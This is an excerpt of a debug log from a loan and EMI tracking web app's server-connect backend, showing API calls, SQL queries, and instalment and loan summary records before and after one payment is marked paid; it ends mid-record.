    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:40:51.188Z server-connect:output restrict: undefined
2026-02-25T12:40:51.189Z server-connect:app Executing action step custom
2026-02-25T12:40:51.189Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:40:51.189Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-02-25T12:40:51.190Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '13',
    total_remaining_amount: 286403,
    total_paid_amount: 771085,
    percentage_paid: '72.92'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:41:02.714Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:41:02.715Z server-connect:app Executing action step identify
2026-02-25T12:41:02.715Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:02.715Z server-connect:output identity: 1
2026-02-25T12:41:02.715Z server-connect:app Executing action step restrict
2026-02-25T12:41:02.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:02.716Z server-connect:output restrict: undefined
2026-02-25T12:41:02.716Z server-connect:app Executing action step update
2026-02-25T12:41:02.716Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:41:02.717Z server-connect:output update: { affected: 1 }
2026-02-25T12:41:03.189Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:41:03.190Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:41:03.190Z server-connect:app Executing action step identify
2026-02-25T12:41:03.190Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:03.190Z server-connect:output identity: 1
2026-02-25T12:41:03.190Z server-connect:app Executing action step restrict
2026-02-25T12:41:03.190Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:03.191Z server-connect:app Executing action step identify
2026-02-25T12:41:03.191Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:03.191Z server-connect:output identity: 1
2026-02-25T12:41:03.191Z server-connect:app Executing action step restrict
2026-02-25T12:41:03.191Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:03.191Z server-connect:output restrict: undefined
2026-02-25T12:41:03.191Z server-connect:app Executing action step select
2026-02-25T12:41:03.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:41:03.192Z server-connect:output restrict: undefined
2026-02-25T12:41:03.192Z server-connect:app Executing action step custom
2026-02-25T12:41:03.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:41:03.194Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-02-25T12:41:03.196Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '12',
    total_remaining_amount: 264372,
    total_paid_amount: 793116,
    percentage_paid: '75.00'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:41:11.108Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:41:11.108Z server-connect:app Executing action step identify
2026-02-25T12:41:11.108Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:11.108Z server-connect:output identity: 1
2026-02-25T12:41:11.108Z server-connect:app Executing action step restrict
2026-02-25T12:41:11.108Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:11.109Z server-connect:output restrict: undefined
2026-02-25T12:41:11.109Z server-connect:app Executing action step select
2026-02-25T12:41:11.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:41:11.111Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
